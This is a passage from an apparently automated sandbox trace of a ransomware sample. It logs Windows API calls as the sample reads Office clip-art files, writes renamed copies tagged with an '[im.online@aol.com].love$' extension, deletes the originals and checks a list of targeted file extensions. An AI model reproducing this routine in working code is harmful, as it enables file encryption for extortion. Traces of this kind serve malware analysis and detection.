returned 1 [0226.990] CloseHandle (hObject=0x418) returned 1 [0226.993] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.993] SetEndOfFile (hFile=0x458) returned 1 [0226.996] CloseHandle (hObject=0x458) returned 1 [0226.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0226.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0226.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0226.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0226.998] lstrlenW (lpString=".doc") returned 4 [0226.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.998] lstrlenW (lpString=".docx") returned 5 [0226.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.998] lstrlenW (lpString=".pdf") returned 4 [0226.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.998] lstrlenW (lpString=".xls") returned 4 [0226.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.998] lstrlenW (lpString=".xlsx") returned 5 [0226.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.998] lstrlenW (lpString=".ppt") returned 4 [0226.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0226.998] lstrlenW (lpString=".zip") returned 4 [0226.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.998] lstrlenW (lpString=".rar") returned 4 [0226.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0226.998] lstrlenW (lpString=".bz2") returned 4 [0226.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0226.998] lstrlenW (lpString=".7z") returned 3 [0226.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0226.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0226.999] lstrlenW (lpString=".dbf") returned 4 [0226.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0226.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0226.999] lstrlenW (lpString=".1cd") returned 4 [0226.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0226.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0226.999] lstrlenW (lpString=".jpg") returned 4 [0226.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0226.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0226.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0226.999] lstrlenW (lpString=".doc") returned 4 [0226.999] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0226.999] lstrlenW (lpString=".docx") returned 5 [0226.999] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0226.999] lstrlenW (lpString=".pdf") returned 4 [0226.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0226.999] lstrlenW (lpString=".xls") returned 4 [0226.999] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0226.999] lstrlenW (lpString=".xlsx") returned 5 [0226.999] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0226.999] lstrlenW (lpString=".ppt") returned 4 [0226.999] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0226.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0226.999] lstrlenW (lpString=".zip") returned 4 [0226.999] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0226.999] lstrlenW (lpString=".rar") returned 4 [0227.000] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.000] lstrlenW (lpString=".bz2") returned 4 [0227.000] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.000] lstrlenW (lpString=".7z") returned 3 [0227.000] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0227.000] lstrlenW (lpString=".dbf") returned 4 [0227.000] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0227.000] lstrlenW (lpString=".1cd") returned 4 [0227.000] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0227.000] lstrlenW (lpString=".jpg") returned 4 [0227.000] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.000] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.000] lstrlenW (lpString="AN01251_.WMF") returned 12 [0227.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.001] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2756) returned 1 [0227.001] CloseHandle (hObject=0x458) returned 1 [0227.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 0x220 [0227.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.002] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.002] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0227.003] GetLastError () returned 0x0 [0227.003] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xac4, lpOverlapped=0x0) returned 1 [0227.005] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xad0, lpOverlapped=0x0) returned 1 [0227.007] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.007] WriteFile (in: hFile=0x418, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0227.007] SetEndOfFile (hFile=0x418) returned 1 [0227.007] CloseHandle (hObject=0x418) returned 1 [0227.008] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.008] SetEndOfFile (hFile=0x458) returned 1 [0227.510] CloseHandle (hObject=0x458) returned 1 [0227.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0227.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0227.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.548] lstrlenW (lpString=".doc") returned 4 [0227.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.548] lstrlenW (lpString=".docx") returned 5 [0227.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.548] lstrlenW (lpString=".pdf") returned 4 [0227.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.548] lstrlenW (lpString=".xls") returned 4 [0227.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.548] lstrlenW (lpString=".xlsx") returned 5 [0227.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.548] lstrlenW (lpString=".ppt") returned 4 [0227.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.548] lstrlenW (lpString=".zip") returned 4 [0227.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.548] lstrlenW (lpString=".rar") returned 4 [0227.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.548] lstrlenW (lpString=".bz2") returned 4 [0227.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.549] lstrlenW (lpString=".7z") returned 3 [0227.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.549] lstrlenW (lpString=".dbf") returned 4 [0227.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.549] lstrlenW (lpString=".1cd") returned 4 [0227.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.550] lstrlenW (lpString=".jpg") returned 4 [0227.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.550] lstrlenW (lpString=".doc") returned 4 [0227.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.550] lstrlenW (lpString=".docx") returned 5 [0227.550] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0227.551] lstrlenW (lpString=".pdf") returned 4 [0227.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.551] lstrlenW (lpString=".xls") returned 4 [0227.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.551] lstrlenW (lpString=".xlsx") returned 5 [0227.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0227.551] lstrlenW (lpString=".ppt") returned 4 [0227.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.551] lstrlenW (lpString=".zip") returned 4 [0227.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.551] lstrlenW (lpString=".rar") returned 4 [0227.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.551] lstrlenW (lpString=".bz2") returned 4 [0227.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.551] lstrlenW (lpString=".7z") returned 3 [0227.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.551] lstrlenW (lpString=".dbf") returned 4 [0227.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.552] lstrlenW (lpString=".1cd") returned 4 [0227.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 68 [0227.552] lstrlenW (lpString=".jpg") returned 4 [0227.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.552] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0227.552] lstrlenW (lpString="AN04108_.WMF") returned 12 [0227.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0228.270] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=2344) returned 1 [0228.270] CloseHandle (hObject=0x388) returned 1 [0228.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 0x220 [0228.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0228.271] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.271] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.272] GetLastError () returned 0x0 [0228.272] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x928, lpOverlapped=0x0) returned 1 [0228.274] WriteFile (in: hFile=0x458, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x930, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x930, lpOverlapped=0x0) returned 1 [0228.275] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.275] WriteFile (in: hFile=0x458, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.275] SetEndOfFile (hFile=0x458) returned 1 [0228.276] CloseHandle (hObject=0x458) returned 1 [0228.280] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.280] SetEndOfFile (hFile=0x388) returned 1 [0228.284] CloseHandle (hObject=0x388) returned 1 [0228.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0228.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0228.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.285] lstrlenW (lpString=".doc") returned 4 [0228.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.285] lstrlenW (lpString=".docx") returned 5 [0228.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.286] lstrlenW (lpString=".pdf") returned 4 [0228.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.286] lstrlenW (lpString=".xls") returned 4 [0228.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.286] lstrlenW (lpString=".xlsx") returned 5 [0228.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.286] lstrlenW (lpString=".ppt") returned 4 [0228.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.286] lstrlenW (lpString=".zip") returned 4 [0228.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.286] lstrlenW (lpString=".rar") returned 4 [0228.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.286] lstrlenW (lpString=".bz2") returned 4 [0228.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.286] lstrlenW (lpString=".7z") returned 3 [0228.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.286] lstrlenW (lpString=".dbf") returned 4 [0228.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.286] lstrlenW (lpString=".1cd") returned 4 [0228.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.286] lstrlenW (lpString=".jpg") returned 4 [0228.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.286] lstrlenW (lpString=".doc") returned 4 [0228.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0228.286] lstrlenW (lpString=".docx") returned 5 [0228.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0228.287] lstrlenW (lpString=".pdf") returned 4 [0228.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0228.287] lstrlenW (lpString=".xls") returned 4 [0228.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0228.287] lstrlenW (lpString=".xlsx") returned 5 [0228.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0228.287] lstrlenW (lpString=".ppt") returned 4 [0228.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0228.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.287] lstrlenW (lpString=".zip") returned 4 [0228.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0228.287] lstrlenW (lpString=".rar") returned 4 [0228.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0228.287] lstrlenW (lpString=".bz2") returned 4 [0228.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0228.287] lstrlenW (lpString=".7z") returned 3 [0228.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0228.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.287] lstrlenW (lpString=".dbf") returned 4 [0228.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0228.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.287] lstrlenW (lpString=".1cd") returned 4 [0228.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0228.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0228.287] lstrlenW (lpString=".jpg") returned 4 [0228.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0228.288] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0228.288] lstrlenW (lpString="AN04225_.WMF") returned 12 [0228.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0228.288] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=8492) returned 1 [0228.288] CloseHandle (hObject=0x388) returned 1 [0228.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0228.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0228.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0228.294] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.294] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0228.295] GetLastError () returned 0x0 [0228.295] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x212c, lpOverlapped=0x0) returned 1 [0228.298] WriteFile (in: hFile=0x458, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2130, lpOverlapped=0x0) returned 1 [0228.299] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.300] WriteFile (in: hFile=0x458, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0228.300] SetEndOfFile (hFile=0x458) returned 1 [0228.300] CloseHandle (hObject=0x458) returned 1 [0228.304] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.304] SetEndOfFile (hFile=0x388) returned 1 [0228.308] CloseHandle (hObject=0x388) returned 1 [0228.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0228.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft 